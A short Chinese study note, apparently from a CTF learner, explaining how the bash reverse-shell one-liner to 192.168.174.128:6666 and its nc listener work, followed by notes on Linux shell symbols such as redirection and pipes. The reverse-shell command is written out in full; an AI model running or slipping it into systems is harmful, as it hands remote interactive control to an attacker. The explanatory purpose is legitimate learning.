以前做题时经常发现大佬用一行命令getshell,虽然自己有时侯也在用,但是并不知道到底为什么用这个命令。今天,我想去理解下为什么用这个命令getshell。

getshell的命令是:

bash -i >& /dev/tcp/192.168.174.128/6666 0>&1

nc的监听命令是:

Nc -lvvp 6666

bash -i意思是交互式执行bash命令

&这个字符的作用是在后台工作,单一个& 符号,且放在完整指令列的最后端,即表示将该指令列放入后台中工作。

cmd \>&n把输出送到文件描述符n(n=0、1、2)

下面我们看下linux中常用的文件描述符有哪些:

​ 文件描述符(File Descriptor),用一个数字(通常为0-9)来表示一个文件。常用的文件描述符如下:
​ 文件描述符 名称 常用缩写 默认值
0 标准输入 stdin 键盘
​ 1 标准输出 stdout 屏幕
2 标准错误输出 stderr 屏幕

命令中的文件/dev/tcp/192.168.174.128/6666其实并不存在,这里的作用是发出一个socket连接,ip地址是192.168.174.128,端口是6666,读写这个文件就相当于在这个socket连接中传输数据。

而整个命令的意思是:和ip为192.168.174.128,端口为6666的电脑建立tcp连接,并将tcp传来的数据写入键盘并执行shell命令,而且不显示在窗口。


下面再加一些Linux的特殊符号的意义:

查找文件用find / -name .bash_history查找整个磁盘
tab接在第一个字后面则为命令补全,接在第二个字后面是文件名补齐
ls -al目录下所有文件及属性
\后是转义,可以\后加enter继续下一行执行
~ 帐户的 home 目录
~+当前的工作目录,这个符号代表当前的工作目录,它和内建指令pwd的作用是相同的。
|管道 (pipeline)是 UNIX 系统基础且重要的观念。连结上个指令的标准输出,做为下个指令的标准输入 \>file如果文件存在就清空原文件,加上数据
\>>file 在文件后面追加数据